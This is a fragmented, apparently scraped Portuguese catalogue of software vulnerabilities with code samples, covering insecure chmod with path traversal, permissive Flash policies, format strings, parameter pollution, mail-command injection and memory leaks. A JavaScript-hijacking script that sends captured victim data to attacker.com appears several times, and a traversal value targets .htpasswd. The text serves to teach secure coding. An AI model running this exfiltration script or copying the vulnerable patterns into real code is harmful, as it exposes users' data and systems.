permissions := strconv.Atoi(os.Getenv("filePermissions"));
fMode := os.FileMode(permissions)
os.chmod(filePath, fMode);
...
String permissionMask = System.getProperty("defaultFileMask");
Path filePath = userFile.toPath();
...
Set<PosixFilePermission> perms = PosixFilePermissions.fromString(permissionMask);
Files.setPosixFilePermissions(filePath, perms);
...
$rName = $_GET['publicReport'];
chmod("/home/". authenticateUser . "/public_html/" . rName,"0755");
...
publicReport
, como "../../localuser/public_html/.htpasswd
", o aplicativo tornará o arquivo especificado como legível para o invasor.
...
$mask = $CONFIG_TXT['perms'];
chmod($filename,$mask);
...
permissions = os.getenv("filePermissions");
os.chmod(filePath, permissions);
...
...
rName = req['publicReport']
File.chmod("/home/#{authenticatedUser}/public_html/#{rName}", "0755")
...
publicReport
, como "../../localuser/public_html/.htpasswd
", o aplicativo tornará o arquivo especificado como legível para o invasor.
...
mask = config_params['perms']
File.chmod(filename, mask)
...
crossdomain.xml
. No entanto, é necessário tomar precauções ao alterar as configurações, pois uma política entre domínios excessivamente permissiva permitirá que um aplicativo mal-intencionado se comunique com o aplicativo vítima de modo impróprio, resultando em falsificação, roubo de dados, retransmissão e outros ataques.
flash.system.Security.allowDomain("*");
*
como argumento para allowDomain()
indica que os dados do aplicativo estão acessíveis a outros aplicativos SWF de qualquer domínio.crossdomain.xml
. A partir do Flash Player 9.0.124.0, a Adobe também introduziu a capacidade de definir quais cabeçalhos personalizados o Flash Player pode enviar entre domínios. No entanto, é preciso ter cuidado ao definir essas configurações porque uma política de cabeçalhos personalizados excessivamente permissiva, quando aplicada junto com a política de vários domínios excessivamente permissiva, permitirá que um aplicativo mal-intencionado envie cabeçalhos de sua escolha para o aplicativo de destino, levando, possivelmente, a um variedade de ataques ou causando erros na execução do aplicativo que não saberá como tratar os cabeçalhos recebidos.
<cross-domain-policy>
<allow-http-request-headers-from domain="*" headers="*"/>
</cross-domain-policy>
*
como o valor do atributo de headers
indica que qualquer cabeçalho será enviado entre domínios.crossdomain.xml
. No entanto, é necessário tomar precauções ao decidir quem pode influenciar as configurações, pois uma política entre domínios excessivamente permissiva permitirá que um aplicativo mal-intencionado se comunique com o aplicativo vítima de modo impróprio, resultando em falsificação, roubo de dados, retransmissão e outros ataques. Vulnerabilidades de desvio de restrições de política ocorrem quando:Exemplo 2: O código a seguir usa o valor de um dos parâmetros para o arquivo SWF carregado com o objetivo de definir a lista de domínios confiáveis.
...
var params:Object = LoaderInfo(this.root.loaderInfo).parameters;
var url:String = String(params["url"]);
flash.system.Security.loadPolicyFile(url);
...
...
var params:Object = LoaderInfo(this.root.loaderInfo).parameters;
var domain:String = String(params["domain"]);
flash.system.Security.allowDomain(domain);
...
crossdomain.xml
. No entanto, é necessário tomar precauções ao definir essas configurações, pois aplicativos SWF carregados via HTTP estão sujeitos a ataques do tipo MITM (man-in-the-middle) e, portanto, não devem ser confiáveis.allowInsecureDomain()
, que desativa a restrição que impede aplicativos SWF carregados via HTTP de acessar os dados de aplicativos SWF carregados via HTTPS.
flash.system.Security.allowInsecureDomain("*");
sprintf()
, FormatMessageW()
ou syslog()
.snprintf()
.
int main(int argc, char **argv){
char buf[128];
...
snprintf(buf,128,argv[1]);
}
%x
, do que a função utiliza como argumentos a serem formatados. (Neste exemplo, a função não usa argumentos a serem formatados.) Ao usar a diretiva de formatação %n
, o invasor pode gravar na pilha, fazendo com que snprintf()
grave no argumento especificado o número de bytes cuja saída foi processada até o momento (em vez de ler um valor do argumento, que é o comportamento pretendido). Uma versão sofisticada desse ataque usará quatro gravações escalonadas para controlar completamente o valor de um apontador na pilha.
printf("%d %d %1$d %1$d\n", 5, 9);
5 9 5 5
Example 1
.syslog()
por vezes utilizada da seguinte maneira:
...
syslog(LOG_ERR, cmdBuf);
...
syslog()
é uma string de formato, qualquer diretiva de formatação incluída em cmdBuf
é interpretada conforme descrito no Example 1
.syslog()
:
...
syslog(LOG_ERR, "%s", cmdBuf);
...
sprintf()
, FormatMessageW()
, syslog()
, NSLog
, ou NSString.stringWithFormat
como um argumento do formato StringNSString.stringWithFormat:
.
int main(int argc, char **argv){
char buf[128];
...
[NSString stringWithFormat:argv[1], argv[2] ];
}
%x
, do que a função utiliza como argumentos a serem formatados. (Neste exemplo, a função não usa argumentos a serem formatados.)
printf("%d %d %1$d %1$d\n", 5, 9);
5 9 5 5
Example 1
.syslog()
por vezes utilizada da seguinte maneira:
...
syslog(LOG_ERR, cmdBuf);
...
syslog()
é uma string de formato, qualquer diretiva de formatação incluída em cmdBuf
é interpretada conforme descrito no Example 1
.syslog()
:Exemplo 4: As classes principais da Apple proporcionam rotas interessantes para explorar as vulnerabilidades do formato String.
...
syslog(LOG_ERR, "%s", cmdBuf);
...
String.stringByAppendingFormat()
por vezes utilizada da seguinte maneira:
...
NSString test = @"Sample Text.";
test = [test stringByAppendingFormat:[MyClass
formatInput:inputControl.text]];
...
stringByAppendingFormat()
:
...
NSString test = @"Sample Text.";
test = [test stringByAppendingFormat:@"%@", [MyClass
formatInput:inputControl.text]];
...
strncpy()
, podem causar vulnerabilidades quando usadas incorretamente. A combinação entre manipulação de memória e suposições equivocadas sobre o tamanho ou a composição de um determinado dado é a causa raiz da maioria dos estouros de buffer.
void wrongNumberArgs(char *s, float f, int d) {
char buf[1024];
sprintf(buf, "Wrong number of %.512s");
}
strncpy()
, podem causar vulnerabilidades quando usadas incorretamente. A combinação entre manipulação de memória e suposições equivocadas sobre o tamanho ou a composição de um determinado dado é a causa raiz da maioria dos estouros de buffer.f
de um flutuante usando um especificador de formato %d
.
void ArgTypeMismatch(float f, int d, char *s, wchar *ws) {
char buf[1024];
sprintf(buf, "Wrong type of %d", f);
...
}
...
String lang = Request.Form["lang"];
WebClient client = new WebClient();
client.BaseAddress = url;
NameValueCollection myQueryStringCollection = new NameValueCollection();
myQueryStringCollection.Add("q", lang);
client.QueryString = myQueryStringCollection;
Stream data = client.OpenRead(url);
...
lang
como en&poll_id=1
e, em seguida, conseguisse alterar poll_id
à vontade.
...
String lang = request.getParameter("lang");
GetMethod get = new GetMethod("http://www.example.com");
get.setQueryString("lang=" + lang + "&poll_id=" + poll_id);
get.execute();
...
lang
como en&poll_id=1
e, em seguida, fosse capaz de alterar poll_id
à vontade.
<%
...
$id = $_GET["id"];
header("Location: http://www.host.com/election.php?poll_id=" . $id);
...
%>
name=alice
, mas adicionou name=alice&
e, se isso estiver em uso em um servidor que obtém a primeira ocorrência, ele poderá representar alice
para obter mais informações sobre a conta dela.
var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);
GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR
HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/javascript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]
<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}
// Send the captured object back to the attacker's Web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>
<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>
var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);
GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR
HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/JavaScript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]
<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}
// Send the captured object back to the attacker's web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>
<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>
var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);
GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR
HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/JavaScript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]
<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}
// Send the captured object back to the attacker's web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>
<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>
from django.http.response import JsonResponse
...
def handle_upload(request):
response = JsonResponse(sensitive_data, safe=False) # Sensitive data is stored in a list
return response
<script>
e que, portanto, é vulnerável a sequestros de JavaScript [1]. Por padrão, a estrutura utiliza o método POST para enviar solicitações, o que torna difícil gerar uma solicitação a partir de uma tag <script>
mal-intencionada (já que tags <script>
geram apenas solicitações GET). No entanto, o Microsoft AJAX.NET fornece mecanismos para usar solicitações GET. Na verdade, muitos especialistas incentivam os programadores a usarem solicitações GET a fim de aproveitar o armazenamento em cache do navegador e melhorar o desempenho.
var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);
GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR
HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/javascript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]
<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}
// Send the captured object back to the attacker's Web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>
<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>
<script>
e que, portanto, é vulnerável a sequestros de JavaScript [1]. Por padrão, a estrutura usa o método POST para enviar solicitações, o que torna difícil gerar um pedido a partir de uma etiqueta maliciosa <script>
(uma vez que etiquetas <script>
só geram solicitações GET). No entanto, o GWT fornece mecanismos para a utilização de solicitações GET. Na verdade, muitos especialistas incentivam os programadores a usarem solicitações GET a fim de aproveitar o armazenamento em cache do navegador e melhorar o desempenho.
var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);
GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR
HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/javascript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]
<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}
// Send the captured object back to the attacker's Web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>
<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>
var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);
GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR
HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/JavaScript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]
<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}
// Send the captured object back to the attacker's web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>
<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>
chroot()
deve ser reduzido imediatamente após a conclusão da operação.chroot()
, ele primeiro deverá adquirir o privilégio de root
. Assim que a operação privilegiada for concluída, o programa deverá reduzir o privilégio de root
e retornar ao nível de privilégio do usuário responsável pela invocação.chroot()
para restringir o aplicativo a um subconjunto do sistema de arquivos abaixo de APP_HOME
para impedir que um invasor utilize o programa para obter acesso não autorizado a arquivos localizados em outros lugares. Em seguida, o código abre um arquivo especificado pelo usuário e processa o conteúdo desse arquivo.
...
chroot(APP_HOME);
chdir("/");
FILE* data = fopen(argv[1], "r+");
...
setuid()
com um valor diferente de zero significa que o aplicativo continua a operar com privilégios de root
desnecessários. Qualquer exploração bem-sucedida realizada por um invasor contra o aplicativo pode agora resultar em um ataque de escalonamento de privilégios, já que qualquer operação mal-intencionada será executada com os privilégios do superusuário. Se o aplicativo reduzir o nível de privilégio de um usuário não root
, o potencial de danos será substancialmente reduzido.CREATE
que é enviado ao servidor IMAP. Um invasor pode usar esse parâmetro para modificar o comando enviado ao servidor e injetar novos comandos usando caracteres CRLF.
...
final String foldername = request.getParameter("folder");
IMAPFolder folder = (IMAPFolder) store.getFolder("INBOX");
...
folder.doCommand(new IMAPFolder.ProtocolCommand() {
@Override
public Object doCommand(IMAPProtocol imapProtocol) throws ProtocolException {
try {
imapProtocol.simpleCommand("CREATE " + foldername, null);
} catch (Exception e) {
// Handle Exception
}
return null;
}
});
...
USER
e PASS
que é enviado ao servidor POP3. Um invasor pode usar esse parâmetro para modificar o comando enviado ao servidor e injetar novos comandos usando caracteres CRLF.
...
String username = request.getParameter("username");
String password = request.getParameter("password");
...
POP3SClient pop3 = new POP3SClient(proto, false);
pop3.login(username, password)
...
VRFY
que é enviado para o servidor SMTP. Um invasor pode usar esse parâmetro para modificar o comando enviado ao servidor e injetar novos comandos usando caracteres CRLF.
...
c, err := smtp.Dial(x)
if err != nil {
log.Fatal(err)
}
user := request.FormValue("USER")
c.Verify(user)
...
VRFY
que é enviado ao servidor SMTP. Um invasor pode usar esse parâmetro para modificar o comando enviado ao servidor e injetar novos comandos usando caracteres CRLF.
...
String user = request.getParameter("user");
SMTPSSLTransport transport = new SMTPSSLTransport(session,new URLName(Utilities.getProperty("smtp.server")));
transport.connect(Utilities.getProperty("smtp.server"), username, password);
transport.simpleCommand("VRFY " + user);
...
VRFY
que é enviado ao servidor SMTP. Um invasor pode usar esse parâmetro para modificar o comando enviado ao servidor e injetar novos comandos usando caracteres CRLF.
...
user = request.GET['user']
session = smtplib.SMTP(smtp_server, smtp_tls_port)
session.ehlo()
session.starttls()
session.login(username, password)
session.docmd("VRFY", user)
...
read()
não consegue retornar o número esperado de bytes:
char* getBlock(int fd) {
char* buf = (char*) malloc(BLOCK_SIZE);
if (!buf) {
return NULL;
}
if (read(fd, buf, BLOCK_SIZE) != BLOCK_SIZE) {
return NULL;
}
return buf;
}
CALL "CBL_ALLOC_MEM"
USING mem-pointer
BY VALUE mem-size
BY VALUE flags
RETURNING status-code
END-CALL
IF status-code NOT = 0
DISPLAY "Error!"
GOBACK
ELSE
SET ADDRESS OF mem TO mem-pointer
END-IF
PERFORM write-data
IF ws-status-code NOT = 0
DISPLAY "Error!"
GOBACK
ELSE
DISPLAY "Success!"
END-IF
CALL "CBL_FREE_MEM"
USING BY VALUE mem-pointer
RETURNING status-code
END-CALL
GOBACK
.
dealloc()
.init()
mas falha em liberá-la no método deallocate()
resultando em um vazamento de memória:
- (void)init
{
myVar = [NSString alloc] init];
...
}
- (void)dealloc
{
[otherVar release];
}
realloc()
não consegue redimensionar a alocação original.
char* getBlocks(int fd) {
int amt;
int request = BLOCK_SIZE;
char* buf = (char*) malloc(BLOCK_SIZE + 1);
if (!buf) {
goto ERR;
}
amt = read(fd, buf, request);
while ((amt % BLOCK_SIZE) != 0) {
if (amt < request) {
goto ERR;
}
request = request + BLOCK_SIZE;
buf = realloc(buf, request);
if (!buf) {
goto ERR;
}
amt = read(fd, buf, request);
}
return buf;
ERR:
if (buf) {
free(buf);
}
return NULL;
}
realloc()
não redimensionar a alocação original.
CALL "malloc" USING
BY VALUE mem-size
RETURNING mem-pointer
END-CALL
ADD 1000 TO mem-size
CALL "realloc" USING
BY VALUE mem-pointer
BY VALUE mem-size
RETURNING mem-pointer
END-CALL
IF mem-pointer <> null
CALL "free" USING
BY VALUE mem-pointer
END-CALL
END-IF